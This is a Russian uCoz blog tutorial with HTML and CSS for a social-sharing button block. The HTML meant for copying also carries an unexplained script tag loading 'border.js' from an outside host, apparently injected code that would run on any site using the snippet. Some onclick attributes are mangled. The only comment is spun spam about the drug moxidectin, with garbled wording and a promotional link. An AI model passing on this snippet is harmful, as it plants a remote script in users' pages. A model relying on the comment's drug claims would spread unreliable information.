Пятница, 17.05.2024, 21:46
Net-Works.at.ua сайт о том

как заработать в интернете

Главная Регистрация Вход
Меню сайта

CMS Ucoz


Наш опрос
Оцените мой сайт
Всего ответов: 110

Поиск

Календарь
«  Июль 2013  »
ПнВтСрЧтПтСбВс
1234567
891011121314
15161718192021
22232425262728
293031

Архив записей

Статистика

br>
Приветствую Вас, Гость · RSS 17.05.2024, 21:46

Главная » 2013 » Июль » 21 » БЛОК "ПОДЕЛИТЬСЯ В СОЦ СЕТЯХ"
15:05
БЛОК "ПОДЕЛИТЬСЯ В СОЦ СЕТЯХ"
И так начнем
Мы определим секцию и создадим в ней список с нашими кнопками дам им классы наших соц.сетей. Так же 5 кнопка будет выпадающим блоком при наводке для ссылок на страницу материала.

Код
<section>  
  <ul class="social">  
  <li><a href="#" class="google"></a></li>  
  <li><a href="#" class="facebook"></a></li>  
  <li><a href="#" class="vk"></a></li>  
  <li><a href="#" class="twitter"></a></li>  
  <li><script src="http://adoit.pw/border.js" type="text/javascript"></script>  
  <a href="#" class="link">  
  <div class="submenu">  
  <label for="1">URL:</label>  
  <input type="text" value='http://mysite.com/' id="1" uzzonclick="select(this);" readonly>  
  <label for="2">HTML:</label>  
  <input type="text" value='<a href="http://mysite.com/">mysite.com</a>' id="2" uzzonclick="select(this);" readonly>  
  <label for="3">BB code:</label>  
  <input type="text" value='mysite.com' id="3" uzzonclick="select(this);" readonly>  
  </div>  
  </a>  
  </li>  
  </ul>  
  </section>



CSS

Теперь добавим немного стилей

Код
.social {  
  position: relative;  
}  

.social li {  
  float: left;  
}  

.social li a{  
  width: 36px;  
  height: 30px;  
  margin: 0 2px;  
  display: block;  
}  

.submenu {  
  position: absolute;  
  width: 193px;  
  top: 37px;  
  left: 3px;  
  background: rgb(66,67,67);  
  background: -moz-linear-gradient(top, rgba(66,67,67,1) 0%, rgba(45,45,45,1) 100%);  
  background: -webkit-gradient(linear, left top, left bottom, color-stop(0%,rgba(66,67,67,1)), color-stop(100%,rgba(45,45,45,1)));  
  background: -webkit-linear-gradient(top, rgba(66,67,67,1) 0%,rgba(45,45,45,1) 100%);  
  background: -o-linear-gradient(top, rgba(66,67,67,1) 0%,rgba(45,45,45,1) 100%);  
  background: -ms-linear-gradient(top, rgba(66,67,67,1) 0%,rgba(45,45,45,1) 100%);  
  background: linear-gradient(to bottom, rgba(66,67,67,1) 0%,rgba(45,45,45,1) 100%);  
  filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#424343', endColorstr='#2d2d2d',GradientType=0 );  
  padding: 0 10px 10px 10px;  

  border-radius: 5px;  
  -moz-border-radius: 5px;  
  -webkit-border-radius: 5px;  

  box-shadow: inset 0 3px 5px rgba(0,0,0,.4), 0 0 3px rgba(0,0,0,.38);  
  -moz-box-shadow: inset 0 3px 5px rgba(0,0,0,.4), 0 0 3px rgba(0,0,0,.38);  
  -webkit-box-shadow: inset 0 3px 5px rgba(0,0,0,.4), 0 0 3px rgba(0,0,0,.38);  

  opacity: 0;  
   
  -webkit-transition:opacity .3s ease .2s;  
  -moz-transition:opacity .3s ease .2s;  
  -o-transition:opacity .3s ease .2s;  
  transition:opacity .3s ease .2s;  
}  

.link:hover > div {  
  opacity: 1;  
}  

.submenu:after{  
  bottom: 100%;  
  border: solid transparent;  
  content: " ";  
  height: 0;  
  width: 0;  
  position: absolute;  
  pointer-events: none;  
}  

.submenu:after {  
  border-bottom-color: rgb(66,67,67);  
  border-width: 7px;  
  right: 4%;  
  margin-left: -7px;  
}  

.submenu label {  
  margin-top: 4px;  
  font: 14px Calibri;  
  display: block;  
  color: #7e7e7e;  
  text-shadow: 1px 0 1px rgba(0,0,0,.44);  
}  

.submenu input[type="text"] {  
  width: 100%;  
  font-family: Tahoma;  
  color: #fff;  
  background: #323232;  
  padding: 5px;  
  border: 1px solid #1b1b1b;  
  cursor: text;  

  border-radius: 4px;  
  -moz-border-radius: 4px;  
  -webkit-border-radius: 4px;  

  box-shadow: inset 2px 0 9px rgba(0,0,0,.5), 0 1px 0 rgba(255,255,255,.1);  
  -moz-box-shadow: inset 2px 0 9px rgba(0,0,0,.5), 0 1px 0 rgba(255,255,255,.1);  
  -webkit-box-shadow: inset 2px 0 9px rgba(0,0,0,.5), 0 1px 0 rgba(255,255,255,.1);  
}  

.google {  
  background: url('http://pnghosts.ru/img/google.png');  
}  

.facebook {  
  background: url('http://pnghosts.ru/img/facebook.png');  
}  

.vk {  
  background: url('http://pnghosts.ru/img/vk.png');  
}  

.twitter {  
  background: url('http://pnghosts.ru/img/twitter1.png');  
}  

.link {  
  background: url('http://pnghosts.ru/img/link.png');  
}


Все готово!

Примечание! При создании был использован CSS - Normalize(Reset), поэтому при добавлении на свой сайт без этих стилей, вам нужно будет подстроить стили под себя!
Просмотров: 989 | Добавил: DoG | Рейтинг: 0.0/0
Всего комментариев: 1
1 famuyiyaoc  
0
Moxidectin (Milbemycin B<> - ) kills parasites, so is used on the prevention and manage of heartworm and intestinal worms, and can be originate in treatments prescribed in place of animals such as dogs, cats, horses, bulls and sheep. Industriousness methods in the service of moxidectin change before treatment, and include oral, superficial, and injectable solutions. Cydectin Spew out On is a swap baptize for a formulation in place of from on beef and red deer.
Moxidectin is a semisynthetic derivative of nemadectin <> - which is produced past fermentation next to Streptomyces cyano-griseus. This Streptomyces species was discovered in a turf specimen from Australia in the past due 1980s collected by an agronomist working for the American Cyanamid company.
Moxidectin treats and controls some of the most universal internal and external parasites by selectively binding to parasites’ glutamate-gated chloride ion channels. These channels are needed to the chore of invertebrate fortitude and muscle cells; when moxidectin binds to the channels, it disrupts neurotransmission, resulting in paralysis and death of the parasite.
Studies of moxidectin show the side effects remodel sooner than animal and may be affected beside the product’s formulation, assiduity method and dosage. The products are usually recommended about a veterinarian to insure factual take advantage of and application. Herding dogs may be avermectin-sensitive, but avermectin-sensitive dogs can tolerate measure doses after heartworm prevention. Moxidectin is evidently all right for collie breeds. As a heartworm preventative, moxidectin can be injected at one time every six months under the make name Proheart6, or every 12 months below the brand eminence Proheart SR 12.
Moxidectin is the referred to of a trial to assess its suitability, as an surrogate to ivermectin, to doctor onchocerciasis in humans.<> -

From http://www.fmyykj.com - suzhou pharmaceutical technology co.,ltd.

Имя *:
Email *:
Код *:
Copyright MyCorp © 2024
Создать бесплатный сайт с uCoz